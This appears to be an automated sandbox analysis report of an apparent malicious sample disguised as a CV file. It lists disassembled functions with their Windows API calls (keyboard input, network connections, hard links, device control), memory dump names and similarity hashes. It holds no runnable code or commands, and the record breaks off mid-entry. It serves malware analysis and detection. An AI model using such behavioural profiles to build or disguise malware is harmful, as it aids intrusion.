Function 003CE698 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 003CE742
GetLastError.KERNEL32(?,00000000), ref: 003CE768
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 003CE78D
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 003CE7B9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 09faadd2955acca2e4c5cccc91104965a4ebabf0f4991092b5d58321ddec9534
Instruction ID: 1aae69e09fa499df10784c1cb99004ff13246b38ca7f1155140d7abf8e452dd0
Opcode Fuzzy Hash: 09faadd2955acca2e4c5cccc91104965a4ebabf0f4991092b5d58321ddec9534
Instruction Fuzzy Hash: 18413539600610DFCF12EF54C945A5DBBE5BF99720B098499E906AF3A2CB70FD00DB91

Function 003EB544 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 003EB5D1

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 770f9342be7fced1ae5f2f03db4dd4f774a1d0c7a9517df6d612fecfc3394a22
Instruction ID: 4c441f6e7a9397035cc3b73152845f748b1e721d8b50d3583b7d91b06d200a14
Opcode Fuzzy Hash: 770f9342be7fced1ae5f2f03db4dd4f774a1d0c7a9517df6d612fecfc3394a22
Instruction Fuzzy Hash: 923100746012A8BFEF239F9ACC85FAAB768EB06350F514712FA51E61E1C730E9408B55

Function 003ED7DE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 003ED807
GetWindowRect.USER32(?,?), ref: 003ED87D
PtInRect.USER32(?,?,003EED5A), ref: 003ED88D
MessageBeep.USER32(00000000), ref: 003ED8FE

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 4fba6df3f68ff4780472f6c7a2e69e418adf660e26992eefef8cf8c0701fa700
Instruction ID: 1c59811ecebfcebb71ffa863df6ca9b3287cb89822f5fc7a33d6956180b8fc7a
Opcode Fuzzy Hash: 4fba6df3f68ff4780472f6c7a2e69e418adf660e26992eefef8cf8c0701fa700
Instruction Fuzzy Hash: 3B419E74A002A8DFCB12DF5AD884BA97BF5FF45350F1A82A9E814DF2A1D330E945CB41

Function 003C3A61 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 003C3AB8
SetKeyboardState.USER32(00000080,?,00008000), ref: 003C3AD4
PostMessageW.USER32(00000000,00000101,00000000,?), ref: 003C3B34
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 003C3B92

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 4dc29d7d47a313aede3861458fd366ac370a4905f896068f9bab10bc4d0f0c86
Instruction ID: 1185d53e34fc2bc95a716fd8eaccb9924b196d4b3cc0320d16212f1276cc063e
Opcode Fuzzy Hash: 4dc29d7d47a313aede3861458fd366ac370a4905f896068f9bab10bc4d0f0c86
Instruction Fuzzy Hash: 38317530A00258AEEF329BA48C19FFE7BB99B45310F04811EE482E72C1C7759F45C761

Function 003B4004 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 003B4038
__isleadbyte_l.LIBCMT ref: 003B4066
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 003B4094
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 003B40CA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: e0a52b9af1006b54bfc81e418cc31e2a77f0857c8a512dd4796fa553e2e32cac
Instruction ID: 2b46020f9bc0479df0b199b8c3ec82d96bac775a243638e2c577a2c5611c4c45
Opcode Fuzzy Hash: e0a52b9af1006b54bfc81e418cc31e2a77f0857c8a512dd4796fa553e2e32cac
Instruction Fuzzy Hash: 5931D430900215AFDB22AF74C844BFABBB5FF41314F164028EB518B4A2E731D890D794

Function 003E7CA5 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 003E7CB9

Part of subcall function 003C5F55: GetWindowThreadProcessId.USER32(?,00000000), ref: 003C5F6F
Part of subcall function 003C5F55: GetCurrentThreadId.KERNEL32 ref: 003C5F76
Part of subcall function 003C5F55: AttachThreadInput.USER32(00000000,?,003C781F), ref: 003C5F7D

GetCaretPos.USER32(?), ref: 003E7CCA
ClientToScreen.USER32(00000000,?), ref: 003E7D03
GetForegroundWindow.USER32 ref: 003E7D09

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: db520d3a02a04c11754e1bdbfe77fc82b1af983abce92e6f43188f7f4379eec9
Instruction ID: 2338c3348ac9647b8eda59f0b00bfbb4c566d072b97f5699099a91b1aa59f050
Opcode Fuzzy Hash: db520d3a02a04c11754e1bdbfe77fc82b1af983abce92e6f43188f7f4379eec9
Instruction Fuzzy Hash: B531FE72D00108AFDB11EFA9D9459EFBBFDEF58314B10846AE815E7211DA319E45CFA0

Function 003EF1D7 Relevance: 6.1, APIs: 4, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0039B34E: GetWindowLongW.USER32(?,000000EB), ref: 0039B35F

GetCursorPos.USER32(?), ref: 003EF211
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,003FE4C0,?,?,?,?,?), ref: 003EF226
GetCursorPos.USER32(?), ref: 003EF270
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,003FE4C0,?,?,?), ref: 003EF2A6

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 8bda5db44df9b04b5c91b7ca1ef249ad277e4d1e59b745f7ff3246b9557500fe
Instruction ID: 45a191da76ef47f999e0c32ea33747e26e6207b6bc05b5b0de899aef94c65a2e
Opcode Fuzzy Hash: 8bda5db44df9b04b5c91b7ca1ef249ad277e4d1e59b745f7ff3246b9557500fe
Instruction Fuzzy Hash: 1A21D03D600028AFCB168F95CC48EEA7BB9EF0A310F058569FA055B2E1D3749950DB50

Function 003D431C Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 003D4358

Part of subcall function 003D43E2: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 003D4401
Part of subcall function 003D43E2: InternetCloseHandle.WININET(00000000), ref: 003D449E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 86a3dbdfab9dae05693f5e7d22a5c92818e570cda4a7c5834eb6f53dce026f22
Instruction ID: d816f418c867df3b343c14acbc83201cfa1e0043525fe99b9645f91236678112
Opcode Fuzzy Hash: 86a3dbdfab9dae05693f5e7d22a5c92818e570cda4a7c5834eb6f53dce026f22
Instruction Fuzzy Hash: D8219F7A600605BBEB139FA4AC00FBBB7A9FF44710F14402BBA5597750DB7198359BA0

Function 003E8A37 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 003E8AA6
SetWindowLongW.USER32(?,000000EC,00000000), ref: 003E8AC0
SetWindowLongW.USER32(?,000000EC,00000000), ref: 003E8ACE
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 003E8ADC

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 52a7e073a3e0dc8f02fb8eb179f718988abefd044bb9f56a16fb9ca208392b17
Instruction ID: d1e50475ae310bd0dcace2a1b0abc37d6bc0caccc1b65dfa8748d95dab62aa71
Opcode Fuzzy Hash: 52a7e073a3e0dc8f02fb8eb179f718988abefd044bb9f56a16fb9ca208392b17
Instruction Fuzzy Hash: 5111D331A05520AFD706AB58CC05FBA7799BF85320F144629F81ADB2E2CF70BC008794

Function 003D8A7F Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,00000001,00000000,00000000,?), ref: 003D8AE0
__WSAFDIsSet.WSOCK32(00000000,00000001), ref: 003D8AF2
accept.WSOCK32(00000000,00000000,00000000), ref: 003D8AFF
WSAGetLastError.WSOCK32(00000000), ref: 003D8B16

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorLastacceptselect
String ID:
API String ID: 385091864-0
Opcode ID: 60677ced74c98c69953955511bc352cc85a7b0f376d77759fabe1e673d2b46ad
Instruction ID: 4e034573ccfb85511f0d399e21189bd9388706b2ced6b359601510000131fc55
Opcode Fuzzy Hash: 60677ced74c98c69953955511bc352cc85a7b0f376d77759fabe1e673d2b46ad
Instruction Fuzzy Hash: B5219372A00124AFC7119F68D985A9EBBFCEF49310F00416AF84AEB290DB74DA458F90

Function 003C0AA6 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003C1E68: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,003C0ABB,?,?,?,003C187A,00000000,000000EF,00000119,?,?), ref: 003C1E77
Part of subcall function 003C1E68: lstrcpyW.KERNEL32(00000000,?,?,003C0ABB,?,?,?,003C187A,00000000,000000EF,00000119,?,?,00000000), ref: 003C1E9D
Part of subcall function 003C1E68: lstrcmpiW.KERNEL32(00000000,?,003C0ABB,?,?,?,003C187A,00000000,000000EF,00000119,?,?), ref: 003C1ECE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,003C187A,00000000,000000EF,00000119,?,?,00000000), ref: 003C0AD4
lstrcpyW.KERNEL32(00000000,?,?,003C187A,00000000,000000EF,00000119,?,?,00000000), ref: 003C0AFA
lstrcmpiW.KERNEL32(00000002,cdecl,?,003C187A,00000000,000000EF,00000119,?,?,00000000), ref: 003C0B2E

Strings

cdecl, xrefs: 003C0B25

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: e92de89fe55839cbb86fd940a83e2033163b95ef2288510dd4e324dbac455820
Instruction ID: c9bbe978300eab4a7532172704b4b4823494e80cc29ac0ef486fa4090ac2a1e2
Opcode Fuzzy Hash: e92de89fe55839cbb86fd940a83e2033163b95ef2288510dd4e324dbac455820
Instruction Fuzzy Hash: 4E11BE36200345EFDB2AAF74DC05E7A77A8FF49314B81412AE806CB290EB71DC50D7A0

Function 003B2F96 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 003B2FB5

Part of subcall function 003A395C: __FF_MSGBANNER.LIBCMT ref: 003A3973
Part of subcall function 003A395C: __NMSG_WRITE.LIBCMT ref: 003A397A
Part of subcall function 003A395C: RtlAllocateHeap.NTDLL(01840000,00000000,00000001,00000001,00000000,?,?,0039F507,?,0000000E), ref: 003A399F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 85a0dd8b1567e8af739f17675f894a8498cc707a429f521f91f3e308d56298d6
Instruction ID: e99bdba01535fc5672df11955e1f3bdeca13114741f1427b3e9141d1275f38a8
Opcode Fuzzy Hash: 85a0dd8b1567e8af739f17675f894a8498cc707a429f521f91f3e308d56298d6
Instruction Fuzzy Hash: 48112C31409225ABCB333FB4AC446EA3BA8EF05374F214525FA0ADE561DF30CD408690

Function 003C058F Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 003C05AC
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 003C05C7
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 003C05DD
FreeLibrary.KERNEL32(?), ref: 003C0632

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Type$FileFreeLibraryLoadModuleNameRegister
String ID:
API String ID: 3137044355-0
Opcode ID: 4db281e899b7abb24479c5f9895f60427b89891e78c5dd597e9f43bea82c35e4
Instruction ID: bfbb7556fe26607638f04ed7f078edc4c48d8dec70290407b5a7e0570b1b0aaa
Opcode Fuzzy Hash: 4db281e899b7abb24479c5f9895f60427b89891e78c5dd597e9f43bea82c35e4
Instruction Fuzzy Hash: 02215971900289EBDB26CF91DD88FDABBB8EB40700F00846DA916E6050DB74EE699B50

Function 003C6713 Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 003C6733
_memset.LIBCMT ref: 003C6754
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 003C67A6
CloseHandle.KERNEL32(00000000), ref: 003C67AF

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 4d13d0d1ad8404d08b16c526caf3ea5a9318a2aabdfda96e7b03ef996e2048b4
Instruction ID: fabd052b2f87818fe0a013512c6b2a3db6a1fa4aed6d2aa13f91efcc398482d8
Opcode Fuzzy Hash: 4d13d0d1ad8404d08b16c526caf3ea5a9318a2aabdfda96e7b03ef996e2048b4
Instruction Fuzzy Hash: F4110A72D012287AE72057A5AC4DFABBBBCEF44724F1045AAF504E71C0D2744E848B68

Function 003BB1CC Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003BAA62: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 003BAA79
Part of subcall function 003BAA62: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 003BAA83
Part of subcall function 003BAA62: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 003BAA92
Part of subcall function 003BAA62: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 003BAA99
Part of subcall function 003BAA62: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 003BAAAF

GetLengthSid.ADVAPI32(?,00000000,003BADE4,?,?), ref: 003BB21B
GetProcessHeap.KERNEL32(00000008,00000000), ref: 003BB227
HeapAlloc.KERNEL32(00000000), ref: 003BB22E
CopySid.ADVAPI32(?,00000000,?), ref: 003BB247

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Heap$AllocInformationProcessToken$CopyErrorLastLength
String ID:
API String ID: 4217664535-0
Opcode ID: f49f36369c479f46a64f9f4bb377f8d1878b303ec4a56e8da07b3e6739459643
Instruction ID: dc3cb2a04e677ac0c133459cae4aa69d17497fdeff8847c9036602603b956e17
Opcode Fuzzy Hash: f49f36369c479f46a64f9f4bb377f8d1878b303ec4a56e8da07b3e6739459643
Instruction Fuzzy Hash: 7C119171A00205EFDB059F98DD85AEEB7A9EF85308F15842DEA42AB610DB71AE44CB10

Function 003BB478 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 003BB498
SendMessageW.USER32(?,000000C9,?,00000000), ref: 003BB4AA
SendMessageW.USER32(?,000000C9,?,00000000), ref: 003BB4C0
SendMessageW.USER32(?,000000C9,?,00000000), ref: 003BB4DB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3d90c72899f466fa5e9624fb31e5c5fb284c4b6cca11ffbfcb6c586cfc8a78a6
Instruction ID: 26006cf90cfed6b744b6c372a6a46b1493e0efb347de1c21a942525a77f6bb95
Opcode Fuzzy Hash: 3d90c72899f466fa5e9624fb31e5c5fb284c4b6cca11ffbfcb6c586cfc8a78a6
Instruction Fuzzy Hash: 6511187A900218FFDB11DFA9C985EDDBBB8FB08714F204091E604B7295DB71AE11DB94

Function 0039B55D Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 0039B34E: GetWindowLongW.USER32(?,000000EB), ref: 0039B35F

DefDlgProcW.USER32(?,00000020,?,00000000), ref: 0039B5A5
GetClientRect.USER32(?,?), ref: 003FE69A
GetCursorPos.USER32(?), ref: 003FE6A4
ScreenToClient.USER32(?,?), ref: 003FE6AF

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 7f6883261c3a5ca4dc3fa81e51c87c380f699e4c3af766e8936dc8cd0ce2daf9
Instruction ID: 4a450eef278574a949a3be1edc65f3afe1e3fc0e027ca5a78ddc1b22ab59b469
